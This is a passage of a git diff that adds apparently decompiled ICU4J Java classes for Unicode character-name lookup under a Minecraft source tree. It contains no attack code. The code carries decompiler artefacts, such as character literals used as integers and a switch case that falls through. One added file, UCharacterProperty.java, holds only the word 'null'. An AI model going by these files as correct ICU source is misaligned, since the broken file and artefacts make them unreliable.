+      for (int i = 0; i < length;) {
+        byte b = m_groupstring_[(index + i)];
+        i++;
+        
+        if (b >= m_tokentable_.length) {
+          if (b == 59) {
+            break;
+          }
+          m_utilStringBuffer_.append(b);
+        }
+        else {
+          char token = m_tokentable_[(b & 0xFF)];
+          if (token == 65534)
+          {
+            token = m_tokentable_[(b << 8 | m_groupstring_[(index + i)] & 0xFF)];
+            
+            i++;
+          }
+          if (token == 65535) {
+            if (b == 59)
+            {
+
+
+              if ((m_utilStringBuffer_.length() != 0) || (choice != 2))
+              {
+                break;
+              }
+              
+            }
+            else {
+              m_utilStringBuffer_.append((char)(b & 0xFF));
+            }
+          } else {
+            UCharacterUtility.getNullTermByteSubString(m_utilStringBuffer_, m_tokenstring_, token);
+          }
+        }
+      }
+      
+
+      if (m_utilStringBuffer_.length() > 0) {
+        return m_utilStringBuffer_.toString();
+      }
+    }
+    return null;
+  }
+  
+
+
+
+  public String getExtendedName(int ch)
+  {
+    String result = getName(ch, 0);
+    if (result == null)
+    {
+      if (result == null) {
+        result = getExtendedOr10Name(ch);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  public int getGroup(int codepoint)
+  {
+    int endGroup = m_groupcount_;
+    int msb = getCodepointMSB(codepoint);
+    int result = 0;
+    
+
+
+    while (result < endGroup - 1) {
+      int gindex = result + endGroup >> 1;
+      if (msb < getGroupMSB(gindex)) {
+        endGroup = gindex;
+      }
+      else {
+        result = gindex;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+  public String getExtendedOr10Name(int ch)
+  {
+    String result = null;
+    
+    if (result == null) {
+      int type = getType(ch);
+      
+
+      if (type >= TYPE_NAMES_.length) {
+        result = "unknown";
+      }
+      else {
+        result = TYPE_NAMES_[type];
+      }
+      synchronized (m_utilStringBuffer_) {
+        m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+        m_utilStringBuffer_.append('<');
+        m_utilStringBuffer_.append(result);
+        m_utilStringBuffer_.append('-');
+        String chStr = Integer.toHexString(ch).toUpperCase(Locale.ENGLISH);
+        int zeros = 4 - chStr.length();
+        while (zeros > 0) {
+          m_utilStringBuffer_.append('0');
+          zeros--;
+        }
+        m_utilStringBuffer_.append(chStr);
+        m_utilStringBuffer_.append('>');
+        result = m_utilStringBuffer_.toString();
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  public int getGroupMSB(int gindex)
+  {
+    if (gindex >= m_groupcount_) {
+      return -1;
+    }
+    return m_groupinfo_[(gindex * m_groupsize_)];
+  }
+  
+
+
+
+
+
+  public static int getCodepointMSB(int codepoint)
+  {
+    return codepoint >> 5;
+  }
+  
+
+
+
+
+
+  public static int getGroupLimit(int msb)
+  {
+    return (msb << 5) + 32;
+  }
+  
+
+
+
+
+
+  public static int getGroupMin(int msb)
+  {
+    return msb << 5;
+  }
+  
+
+
+
+
+
+  public static int getGroupOffset(int codepoint)
+  {
+    return codepoint & 0x1F;
+  }
+  
+
+
+
+
+
+
+  public static int getGroupMinFromCodepoint(int codepoint)
+  {
+    return codepoint & 0xFFFFFFE0;
+  }
+  
+
+
+
+
+
+  public int getAlgorithmLength()
+  {
+    return m_algorithm_.length;
+  }
+  
+
+
+
+
+
+  public int getAlgorithmStart(int index)
+  {
+    return m_algorithm_[index].m_rangestart_;
+  }
+  
+
+
+
+
+
+  public int getAlgorithmEnd(int index)
+  {
+    return m_algorithm_[index].m_rangeend_;
+  }
+  
+
+
+
+
+
+
+  public String getAlgorithmName(int index, int codepoint)
+  {
+    String result = null;
+    synchronized (m_utilStringBuffer_) {
+      m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+      m_algorithm_[index].appendName(codepoint, m_utilStringBuffer_);
+      result = m_utilStringBuffer_.toString();
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+  public synchronized String getGroupName(int ch, int choice)
+  {
+    int msb = getCodepointMSB(ch);
+    int group = getGroup(ch);
+    
+
+    if (msb == m_groupinfo_[(group * m_groupsize_)]) {
+      int index = getGroupLengths(group, m_groupoffsets_, m_grouplengths_);
+      
+      int offset = ch & 0x1F;
+      return getGroupName(index + m_groupoffsets_[offset], m_grouplengths_[offset], choice);
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public int getMaxCharNameLength()
+  {
+    if (initNameSetsLengths()) {
+      return m_maxNameLength_;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  public int getMaxISOCommentLength()
+  {
+    if (initNameSetsLengths()) {
+      return m_maxISOCommentLength_;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  public void getCharNameCharacters(UnicodeSet set)
+  {
+    convert(m_nameSet_, set);
+  }
+  
+
+
+
+
+
+
+  public void getISOCommentCharacters(UnicodeSet set)
+  {
+    convert(m_ISOCommentSet_, set);
+  }
+  
+
+
+
+  static final class AlgorithmName
+  {
+    static final int TYPE_0_ = 0;
+    
+
+    static final int TYPE_1_ = 1;
+    
+
+    private int m_rangestart_;
+    
+
+    private int m_rangeend_;
+    
+
+    private byte m_type_;
+    
+
+    private byte m_variant_;
+    
+
+    private char[] m_factor_;
+    
+
+    private String m_prefix_;
+    
+
+    private byte[] m_factorstring_;
+    
+
+
+    AlgorithmName() {}
+    
+
+
+    boolean setInfo(int rangestart, int rangeend, byte type, byte variant)
+    {
+      if ((rangestart >= 0) && (rangestart <= rangeend) && (rangeend <= 1114111) && ((type == 0) || (type == 1)))
+      {
+
+        m_rangestart_ = rangestart;
+        m_rangeend_ = rangeend;
+        m_type_ = type;
+        m_variant_ = variant;
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+
+
+    boolean setFactor(char[] factor)
+    {
+      if (factor.length == m_variant_) {
+        m_factor_ = factor;
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+
+
+    boolean setPrefix(String prefix)
+    {
+      if ((prefix != null) && (prefix.length() > 0)) {
+        m_prefix_ = prefix;
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+
+
+
+
+    boolean setFactorString(byte[] string)
+    {
+      m_factorstring_ = string;
+      return true;
+    }
+    
+
+
+
+
+    boolean contains(int ch)
+    {
+      return (m_rangestart_ <= ch) && (ch <= m_rangeend_);
+    }
+    
+
+
+
+
+
+
+
+    void appendName(int ch, StringBuffer str)
+    {
+      str.append(m_prefix_);
+      switch (m_type_)
+      {
+
+      case 0: 
+        str.append(Utility.hex(ch, m_variant_));
+        break;
+      
+      case 1: 
+        int offset = ch - m_rangestart_;
+        int[] indexes = m_utilIntBuffer_;
+        
+
+
+
+
+        synchronized (m_utilIntBuffer_) {
+          for (int i = m_variant_ - 1; i > 0; i--)
+          {
+            int factor = m_factor_[i] & 0xFF;
+            indexes[i] = (offset % factor);
+            offset /= factor;
+          }
+          
+
+
+
+          indexes[0] = offset;
+          
+
+          str.append(getFactorString(indexes, m_variant_));
+        }
+      }
+      
+    }
+    
+
+
+
+
+    int getChar(String name)
+    {
+      int prefixlen = m_prefix_.length();
+      if ((name.length() < prefixlen) || (!m_prefix_.equals(name.substring(0, prefixlen))))
+      {
+        return -1;
+      }
+      
+      switch (m_type_)
+      {
+      case 0: 
+        try
+        {
+          int result = Integer.parseInt(name.substring(prefixlen), 16);
+          
+
+          if ((m_rangestart_ <= result) && (result <= m_rangeend_)) {
+            return result;
+          }
+        }
+        catch (NumberFormatException e)
+        {
+          return -1;
+        }
+      
+
+
+      case 1: 
+        for (int ch = m_rangestart_; ch <= m_rangeend_; ch++)
+        {
+          int offset = ch - m_rangestart_;
+          int[] indexes = m_utilIntBuffer_;
+          
+
+
+
+
+          synchronized (m_utilIntBuffer_) {
+            for (int i = m_variant_ - 1; i > 0; i--)
+            {
+              int factor = m_factor_[i] & 0xFF;
+              indexes[i] = (offset % factor);
+              offset /= factor;
+            }
+            
+
+
+
+            indexes[0] = offset;
+            
+
+            if (compareFactorString(indexes, m_variant_, name, prefixlen))
+            {
+              return ch;
+            }
+          }
+        }
+      }
+      
+      return -1;
+    }
+    
+
+
+
+
+
+
+
+
+
+    int add(int[] set, int maxlength)
+    {
+      int length = UCharacterName.add(set, m_prefix_);
+      switch (m_type_)
+      {
+
+      case 0: 
+        length += m_variant_;
+        
+
+
+        break;
+      
+
+
+
+      case 1: 
+        for (int i = m_variant_ - 1; i > 0; i--)
+        {
+          int maxfactorlength = 0;
+          int count = 0;
+          for (int factor = m_factor_[i]; factor > 0; factor--) {
+            synchronized (m_utilStringBuffer_) {
+              m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+              
+              count = UCharacterUtility.getNullTermByteSubString(m_utilStringBuffer_, m_factorstring_, count);
+              
+
+
+              UCharacterName.add(set, m_utilStringBuffer_);
+              if (m_utilStringBuffer_.length() > maxfactorlength)
+              {
+
+                maxfactorlength = m_utilStringBuffer_.length();
+              }
+            }
+          }
+          
+          length += maxfactorlength;
+        }
+      }
+      
+      if (length > maxlength) {
+        return length;
+      }
+      return maxlength;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private StringBuffer m_utilStringBuffer_ = new StringBuffer();
+    
+
+
+    private int[] m_utilIntBuffer_ = new int['Ā'];
+    
+
+
+
+
+
+
+
+
+
+    private String getFactorString(int[] index, int length)
+    {
+      int size = m_factor_.length;
+      if ((index == null) || (length != size)) {
+        return null;
+      }
+      
+      synchronized (m_utilStringBuffer_) {
+        m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+        int count = 0;
+        
+        size--;
+        for (int i = 0; i <= size; i++) {
+          int factor = m_factor_[i];
+          count = UCharacterUtility.skipNullTermByteSubString(m_factorstring_, count, index[i]);
+          
+          count = UCharacterUtility.getNullTermByteSubString(m_utilStringBuffer_, m_factorstring_, count);
+          
+
+          if (i != size) {
+            count = UCharacterUtility.skipNullTermByteSubString(m_factorstring_, count, factor - index[i] - 1);
+          }
+        }
+        
+
+        return m_utilStringBuffer_.toString();
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private boolean compareFactorString(int[] index, int length, String str, int offset)
+    {
+      int size = m_factor_.length;
+      if ((index == null) || (length != size)) {
+        return false;
+      }
+      int count = 0;
+      int strcount = offset;
+      
+      size--;
+      for (int i = 0; i <= size; i++)
+      {
+        int factor = m_factor_[i];
+        count = UCharacterUtility.skipNullTermByteSubString(m_factorstring_, count, index[i]);
+        
+        strcount = UCharacterUtility.compareNullTermByteSubString(str, m_factorstring_, strcount, count);
+        
+        if (strcount < 0) {
+          return false;
+        }
+        
+        if (i != size) {
+          count = UCharacterUtility.skipNullTermByteSubString(m_factorstring_, count, factor - index[i]);
+        }
+      }
+      
+      if (strcount != str.length()) {
+        return false;
+      }
+      return true;
+    }
+  }
+  
+
+
+
+
+
+  int m_groupsize_ = 0;
+  
+  private char[] m_tokentable_;
+  
+  private byte[] m_tokenstring_;
+  
+  private char[] m_groupinfo_;
+  private byte[] m_groupstring_;
+  private AlgorithmName[] m_algorithm_;
+  
+  boolean setToken(char[] token, byte[] tokenstring)
+  {
+    if ((token != null) && (tokenstring != null) && (token.length > 0) && (tokenstring.length > 0))
+    {
+      m_tokentable_ = token;
+      m_tokenstring_ = tokenstring;
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  boolean setAlgorithm(AlgorithmName[] alg)
+  {
+    if ((alg != null) && (alg.length != 0)) {
+      m_algorithm_ = alg;
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  boolean setGroupCountSize(int count, int size)
+  {
+    if ((count <= 0) || (size <= 0)) {
+      return false;
+    }
+    m_groupcount_ = count;
+    m_groupsize_ = size;
+    return true;
+  }
+  
+
+
+
+
+
+
+  boolean setGroup(char[] group, byte[] groupstring)
+  {
+    if ((group != null) && (groupstring != null) && (group.length > 0) && (groupstring.length > 0))
+    {
+      m_groupinfo_ = group;
+      m_groupstring_ = groupstring;
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private char[] m_groupoffsets_ = new char[33];
+  private char[] m_grouplengths_ = new char[33];
+  
+
+
+
+
+  private static final String NAME_FILE_NAME_ = "data/icudt51b/unames.icu";
+  
+
+
+
+
+  private static final int GROUP_SHIFT_ = 5;
+  
+
+
+
+
+  private static final int GROUP_MASK_ = 31;
+  
+
+
+
+
+  private static final int NAME_BUFFER_SIZE_ = 100000;
+  
+
+
+
+
+  private static final int OFFSET_HIGH_OFFSET_ = 1;
+  
+
+
+
+
+  private static final int OFFSET_LOW_OFFSET_ = 2;
+  
+
+
+
+
+  private static final int SINGLE_NIBBLE_MAX_ = 11;
+  
+
+
+
+  private int[] m_nameSet_ = new int[8];
+  
+
+
+
+  private int[] m_ISOCommentSet_ = new int[8];
+  
+
+
+  private StringBuffer m_utilStringBuffer_ = new StringBuffer();
+  
+
+
+  private int[] m_utilIntBuffer_ = new int[2];
+  
+
+
+  private int m_maxISOCommentLength_;
+  
+
+
+  private int m_maxNameLength_;
+  
+
+
+  private static final String[] TYPE_NAMES_ = { "unassigned", "uppercase letter", "lowercase letter", "titlecase letter", "modifier letter", "other letter", "non spacing mark", "enclosing mark", "combining spacing mark", "decimal digit number", "letter number", "other number", "space separator", "line separator", "paragraph separator", "control", "format", "private use area", "surrogate", "dash punctuation", "start punctuation", "end punctuation", "connector punctuation", "other punctuation", "math symbol", "currency symbol", "modifier symbol", "other symbol", "initial punctuation", "final punctuation", "noncharacter", "lead surrogate", "trail surrogate" };
+  
+
+
+
+
+
+
+
+
+
+  private static final String UNKNOWN_TYPE_NAME_ = "unknown";
+  
+
+
+
+
+
+
+
+
+
+  private static final int NON_CHARACTER_ = 30;
+  
+
+
+
+
+
+
+
+
+  private static final int LEAD_SURROGATE_ = 31;
+  
+
+
+
+
+
+
+
+
+  private static final int TRAIL_SURROGATE_ = 32;
+  
+
+
+
+
+
+
+
+
+  static final int EXTENDED_CATEGORY_ = 33;
+  
+
+
+
+
+
+
+
+
+
+  private UCharacterName()
+    throws IOException
+  {
+    InputStream is = ICUData.getRequiredStream("data/icudt51b/unames.icu");
+    BufferedInputStream b = new BufferedInputStream(is, 100000);
+    UCharacterNameReader reader = new UCharacterNameReader(b);
+    reader.read(this);
+    b.close();
+  }
+  
+
+
+
+
+
+
+
+
+
+  private String getAlgName(int ch, int choice)
+  {
+    if ((choice == 0) || (choice == 2))
+    {
+
+
+      synchronized (m_utilStringBuffer_) {
+        m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+        
+        for (int index = m_algorithm_.length - 1; index >= 0; index--)
+        {
+          if (m_algorithm_[index].contains(ch)) {
+            m_algorithm_[index].appendName(ch, m_utilStringBuffer_);
+            return m_utilStringBuffer_.toString();
+          }
+        }
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+  private synchronized int getGroupChar(String name, int choice)
+  {
+    for (int i = 0; i < m_groupcount_; i++)
+    {
+
+      int startgpstrindex = getGroupLengths(i, m_groupoffsets_, m_grouplengths_);
+      
+
+
+      int result = getGroupChar(startgpstrindex, m_grouplengths_, name, choice);
+      
+      if (result != -1) {
+        return m_groupinfo_[(i * m_groupsize_)] << '\005' | result;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int getGroupChar(int index, char[] length, String name, int choice)
+  {
+    byte b = 0;
+    
+
+    int namelen = name.length();
+    
+
+
+    for (int result = 0; result <= 32; result++) {
+      int nindex = 0;
+      int len = length[result];
+      
+      if ((choice != 0) && (choice != 2))
+      {
+
+
+
+
+
+        int fieldIndex = choice == 4 ? 2 : choice;
+        do {
+          int oldindex = index;
+          index += UCharacterUtility.skipByteSubString(m_groupstring_, index, len, (byte)59);
+          
+          len -= index - oldindex;
+          fieldIndex--; } while (fieldIndex > 0);
+      }
+      
+
+
+      for (int count = 0; (count < len) && (nindex != -1) && (nindex < namelen);)
+      {
+        b = m_groupstring_[(index + count)];
+        count++;
+        
+        if (b >= m_tokentable_.length) {
+          if (name.charAt(nindex++) != (b & 0xFF)) {
+            nindex = -1;
+          }
+        }
+        else {
+          char token = m_tokentable_[(b & 0xFF)];
+          if (token == 65534)
+          {
+            token = m_tokentable_[(b << 8 | m_groupstring_[(index + count)] & 0xFF)];
+            
+            count++;
+          }
+          if (token == 65535) {
+            if (name.charAt(nindex++) != (b & 0xFF)) {
+              nindex = -1;
+            }
+            
+          }
+          else {
+            nindex = UCharacterUtility.compareNullTermByteSubString(name, m_tokenstring_, nindex, token);
+          }
+        }
+      }
+      
+
+      if ((namelen == nindex) && ((count == len) || (m_groupstring_[(index + count)] == 59)))
+      {
+        return result;
+      }
+      
+      index += len;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+  private static int getType(int ch)
+  {
+    if (UCharacterUtility.isNonCharacter(ch))
+    {
+      return 30;
+    }
+    int result = UCharacter.getType(ch);
+    if (result == 18) {
+      if (ch <= 56319) {
+        result = 31;
+      }
+      else {
+        result = 32;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  private static int getExtendedChar(String name, int choice)
+  {
+    if (name.charAt(0) == '<') {
+      if (choice == 2) {
+        int endIndex = name.length() - 1;
+        if (name.charAt(endIndex) == '>') {
+          int startIndex = name.lastIndexOf('-');
+          if (startIndex >= 0) {
+            startIndex++;
+            int result = -1;
+            try {
+              result = Integer.parseInt(name.substring(startIndex, endIndex), 16);
+
+            }
+            catch (NumberFormatException e)
+            {
+              return -1;
+            }
+            
+
+            String type = name.substring(1, startIndex - 1);
+            int length = TYPE_NAMES_.length;
+            for (int i = 0; i < length; i++) {
+              if (type.compareTo(TYPE_NAMES_[i]) == 0) {
+                if (getType(result) != i) break;
+                return result;
+              }
+            }
+          }
+        }
+      }
+      
+
+      return -1;
+    }
+    return -2;
+  }
+  
+
+
+
+
+
+
+
+
+  private static void add(int[] set, char ch)
+  {
+    set[(ch >>> '\005')] |= '\001' << (ch & 0x1F);
+  }
+  
+
+
+
+
+
+
+
+  private static boolean contains(int[] set, char ch)
+  {
+    return (set[(ch >>> '\005')] & '\001' << (ch & 0x1F)) != 0;
+  }
+  
+
+
+
+
+
+
+  private static int add(int[] set, String str)
+  {
+    int result = str.length();
+    
+    for (int i = result - 1; i >= 0; i--) {
+      add(set, str.charAt(i));
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+  private static int add(int[] set, StringBuffer str)
+  {
+    int result = str.length();
+    
+    for (int i = result - 1; i >= 0; i--) {
+      add(set, str.charAt(i));
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  private int addAlgorithmName(int maxlength)
+  {
+    int result = 0;
+    for (int i = m_algorithm_.length - 1; i >= 0; i--) {
+      result = m_algorithm_[i].add(m_nameSet_, maxlength);
+      if (result > maxlength) {
+        maxlength = result;
+      }
+    }
+    return maxlength;
+  }
+  
+
+
+
+
+
+
+  private int addExtendedName(int maxlength)
+  {
+    for (int i = TYPE_NAMES_.length - 1; i >= 0; i--)
+    {
+
+
+
+
+      int length = 9 + add(m_nameSet_, TYPE_NAMES_[i]);
+      if (length > maxlength) {
+        maxlength = length;
+      }
+    }
+    return maxlength;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int[] addGroupName(int offset, int length, byte[] tokenlength, int[] set)
+  {
+    int resultnlength = 0;
+    int resultplength = 0;
+    while (resultplength < length) {
+      char b = (char)(m_groupstring_[(offset + resultplength)] & 0xFF);
+      resultplength++;
+      if (b == ';') {
+        break;
+      }
+      
+      if (b >= m_tokentable_.length) {
+        add(set, b);
+        resultnlength++;
+      }
+      else {
+        char token = m_tokentable_[(b & 0xFF)];
+        if (token == 65534)
+        {
+          b = (char)(b << '\b' | m_groupstring_[(offset + resultplength)] & 0xFF);
+          
+          token = m_tokentable_[b];
+          resultplength++;
+        }
+        if (token == 65535) {
+          add(set, b);
+          resultnlength++;
+
+        }
+        else
+        {
+          byte tlength = tokenlength[b];
+          if (tlength == 0) {
+            synchronized (m_utilStringBuffer_) {
+              m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+              
+              UCharacterUtility.getNullTermByteSubString(m_utilStringBuffer_, m_tokenstring_, token);
+              
+
+              tlength = (byte)add(set, m_utilStringBuffer_);
+            }
+            tokenlength[b] = tlength;
+          }
+          resultnlength += tlength;
+        }
+      }
+    }
+    m_utilIntBuffer_[0] = resultnlength;
+    m_utilIntBuffer_[1] = resultplength;
+    return m_utilIntBuffer_;
+  }
+  
+
+
+
+
+
+
+
+  private void addGroupName(int maxlength)
+  {
+    int maxisolength = 0;
+    char[] offsets = new char[34];
+    char[] lengths = new char[34];
+    byte[] tokenlengths = new byte[m_tokentable_.length];
+    
+
+
+    for (int i = 0; i < m_groupcount_; i++) {
+      int offset = getGroupLengths(i, offsets, lengths);
+      
+
+
+      for (int linenumber = 0; linenumber < 32; 
+          linenumber++) {
+        int lineoffset = offset + offsets[linenumber];
+        int length = lengths[linenumber];
+        if (length != 0)
+        {
+
+
+
+          int[] parsed = addGroupName(lineoffset, length, tokenlengths, m_nameSet_);
+          
+          if (parsed[0] > maxlength)
+          {
+            maxlength = parsed[0];
+          }
+          lineoffset += parsed[1];
+          if (parsed[1] < length)
+          {
+
+
+            length -= parsed[1];
+            
+            parsed = addGroupName(lineoffset, length, tokenlengths, m_nameSet_);
+            
+            if (parsed[0] > maxlength)
+            {
+              maxlength = parsed[0];
+            }
+            lineoffset += parsed[1];
+            if (parsed[1] < length)
+            {
+
+
+              length -= parsed[1];
+              
+              parsed = addGroupName(lineoffset, length, tokenlengths, m_ISOCommentSet_);
+              
+              if (parsed[1] > maxisolength)
+                maxisolength = length;
+            }
+          }
+        }
+      }
+    }
+    m_maxISOCommentLength_ = maxisolength;
+    m_maxNameLength_ = maxlength;
+  }
+  
+
+
+
+
+  private boolean initNameSetsLengths()
+  {
+    if (m_maxNameLength_ > 0) {
+      return true;
+    }
+    
+    String extra = "0123456789ABCDEF<>-";
+    
+
+    for (int i = extra.length() - 1; i >= 0; i--) {
+      add(m_nameSet_, extra.charAt(i));
+    }
+    
+
+    m_maxNameLength_ = addAlgorithmName(0);
+    
+    m_maxNameLength_ = addExtendedName(m_maxNameLength_);
+    
+    addGroupName(m_maxNameLength_);
+    return true;
+  }
+  
+
+
+
+
+
+
+  private void convert(int[] set, UnicodeSet uset)
+  {
+    uset.clear();
+    if (!initNameSetsLengths()) {
+      return;
+    }
+    
+
+    for (char c = 'ÿ'; c > 0; c = (char)(c - '\001')) {
+      if (contains(set, c)) {
+        uset.add(c);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCharacterNameChoice.java b/src/minecraft/com/ibm/icu/impl/UCharacterNameChoice.java
new file mode 100644
index 0000000..ccd8843
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharacterNameChoice.java
@@ -0,0 +1,11 @@
+package com.ibm.icu.impl;
+
+public abstract interface UCharacterNameChoice
+{
+  public static final int UNICODE_CHAR_NAME = 0;
+  public static final int OBSOLETE_UNUSED_UNICODE_10_CHAR_NAME = 1;
+  public static final int EXTENDED_CHAR_NAME = 2;
+  public static final int CHAR_NAME_ALIAS = 3;
+  public static final int CHAR_NAME_CHOICE_COUNT = 4;
+  public static final int ISO_COMMENT_ = 4;
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCharacterNameReader.java b/src/minecraft/com/ibm/icu/impl/UCharacterNameReader.java
new file mode 100644
index 0000000..dfc453e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharacterNameReader.java
@@ -0,0 +1,209 @@
+package com.ibm.icu.impl;
+
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UCharacterNameReader
+  implements ICUBinary.Authenticate
+{
+  private DataInputStream m_dataInputStream_;
+  private static final int GROUP_INFO_SIZE_ = 3;
+  private int m_tokenstringindex_;
+  private int m_groupindex_;
+  private int m_groupstringindex_;
+  private int m_algnamesindex_;
+  private static final int ALG_INFO_SIZE_ = 12;
+  
+  public boolean isDataVersionAcceptable(byte[] version)
+  {
+    return version[0] == DATA_FORMAT_VERSION_[0];
+  }
+  
+
+
+
+
+
+
+
+  protected UCharacterNameReader(InputStream inputStream)
+    throws IOException
+  {
+    ICUBinary.readHeader(inputStream, DATA_FORMAT_ID_, this);
+    m_dataInputStream_ = new DataInputStream(inputStream);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected void read(UCharacterName data)
+    throws IOException
+  {
+    m_tokenstringindex_ = m_dataInputStream_.readInt();
+    m_groupindex_ = m_dataInputStream_.readInt();
+    m_groupstringindex_ = m_dataInputStream_.readInt();
+    m_algnamesindex_ = m_dataInputStream_.readInt();
+    
+
+    int count = m_dataInputStream_.readChar();
+    char[] token = new char[count];
+    for (char i = '\000'; i < count; i = (char)(i + '\001')) {
+      token[i] = m_dataInputStream_.readChar();
+    }
+    int size = m_groupindex_ - m_tokenstringindex_;
+    byte[] tokenstr = new byte[size];
+    m_dataInputStream_.readFully(tokenstr);
+    data.setToken(token, tokenstr);
+    
+
+    count = m_dataInputStream_.readChar();
+    data.setGroupCountSize(count, 3);
+    count *= 3;
+    char[] group = new char[count];
+    for (int i = 0; i < count; i++) {
+      group[i] = m_dataInputStream_.readChar();
+    }
+    
+    size = m_algnamesindex_ - m_groupstringindex_;
+    byte[] groupstring = new byte[size];
+    m_dataInputStream_.readFully(groupstring);
+    
+    data.setGroup(group, groupstring);
+    
+    count = m_dataInputStream_.readInt();
+    UCharacterName.AlgorithmName[] alg = new UCharacterName.AlgorithmName[count];
+    
+
+    for (int i = 0; i < count; i++)
+    {
+      UCharacterName.AlgorithmName an = readAlg();
+      if (an == null) {
+        throw new IOException("unames.icu read error: Algorithmic names creation error");
+      }
+      alg[i] = an;
+    }
+    data.setAlgorithm(alg);
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean authenticate(byte[] dataformatid, byte[] dataformatversion)
+  {
+    return (Arrays.equals(DATA_FORMAT_ID_, dataformatid)) && (Arrays.equals(DATA_FORMAT_VERSION_, dataformatversion));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] DATA_FORMAT_VERSION_ = { 1, 0, 0, 0 };
+  
+  private static final byte[] DATA_FORMAT_ID_ = { 117, 110, 97, 109 };
+  
+
+
+
+
+
+
+
+  private UCharacterName.AlgorithmName readAlg()
+    throws IOException
+  {
+    UCharacterName.AlgorithmName result = new UCharacterName.AlgorithmName();
+    
+    int rangestart = m_dataInputStream_.readInt();
+    int rangeend = m_dataInputStream_.readInt();
+    byte type = m_dataInputStream_.readByte();
+    byte variant = m_dataInputStream_.readByte();
+    if (!result.setInfo(rangestart, rangeend, type, variant)) {
+      return null;
+    }
+    
+    int size = m_dataInputStream_.readChar();
+    if (type == 1)
+    {
+      char[] factor = new char[variant];
+      for (int j = 0; j < variant; j++) {
+        factor[j] = m_dataInputStream_.readChar();
+      }
+      
+      result.setFactor(factor);
+      size -= (variant << 1);
+    }
+    
+    StringBuilder prefix = new StringBuilder();
+    char c = (char)(m_dataInputStream_.readByte() & 0xFF);
+    while (c != 0)
+    {
+      prefix.append(c);
+      c = (char)(m_dataInputStream_.readByte() & 0xFF);
+    }
+    
+    result.setPrefix(prefix.toString());
+    
+    size -= 12 + prefix.length() + 1;
+    
+    if (size > 0)
+    {
+      byte[] string = new byte[size];
+      m_dataInputStream_.readFully(string);
+      result.setFactorString(string);
+    }
+    return result;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCharacterProperty.java b/src/minecraft/com/ibm/icu/impl/UCharacterProperty.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharacterProperty.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/ibm/icu/impl/UCharacterUtility.java b/src/minecraft/com/ibm/icu/impl/UCharacterUtility.java
new file mode 100644
index 0000000..5fafe7f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharacterUtility.java
@@ -0,0 +1,168 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+public final class UCharacterUtility
+{
+  private static final int NON_CHARACTER_SUFFIX_MIN_3_0_ = 65534;
+  
+
+
+
+  private static final int NON_CHARACTER_MIN_3_1_ = 64976;
+  
+
+
+
+  private static final int NON_CHARACTER_MAX_3_1_ = 65007;
+  
+
+
+
+
+  public static boolean isNonCharacter(int ch)
+  {
+    if ((ch & 0xFFFE) == 65534)
+    {
+      return true;
+    }
+    
+    return (ch >= 64976) && (ch <= 65007);
+  }
+  
+
+
+
+
+
+
+
+
+  static int toInt(char msc, char lsc)
+  {
+    return msc << '\020' | lsc;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static int getNullTermByteSubString(StringBuffer str, byte[] array, int index)
+  {
+    byte b = 1;
+    
+    while (b != 0)
+    {
+      b = array[index];
+      if (b != 0) {
+        str.append((char)(b & 0xFF));
+      }
+      index++;
+    }
+    return index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static int compareNullTermByteSubString(String str, byte[] array, int strindex, int aindex)
+  {
+    byte b = 1;
+    int length = str.length();
+    
+    while (b != 0)
+    {
+      b = array[aindex];
+      aindex++;
+      if (b == 0) {
+        break;
+      }
+      
+
+      if ((strindex == length) || (str.charAt(strindex) != (char)(b & 0xFF)))
+      {
+        return -1;
+      }
+      strindex++;
+    }
+    return strindex;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static int skipNullTermByteSubString(byte[] array, int index, int skipcount)
+  {
+    for (int i = 0; i < skipcount; i++)
+    {
+      byte b = 1;
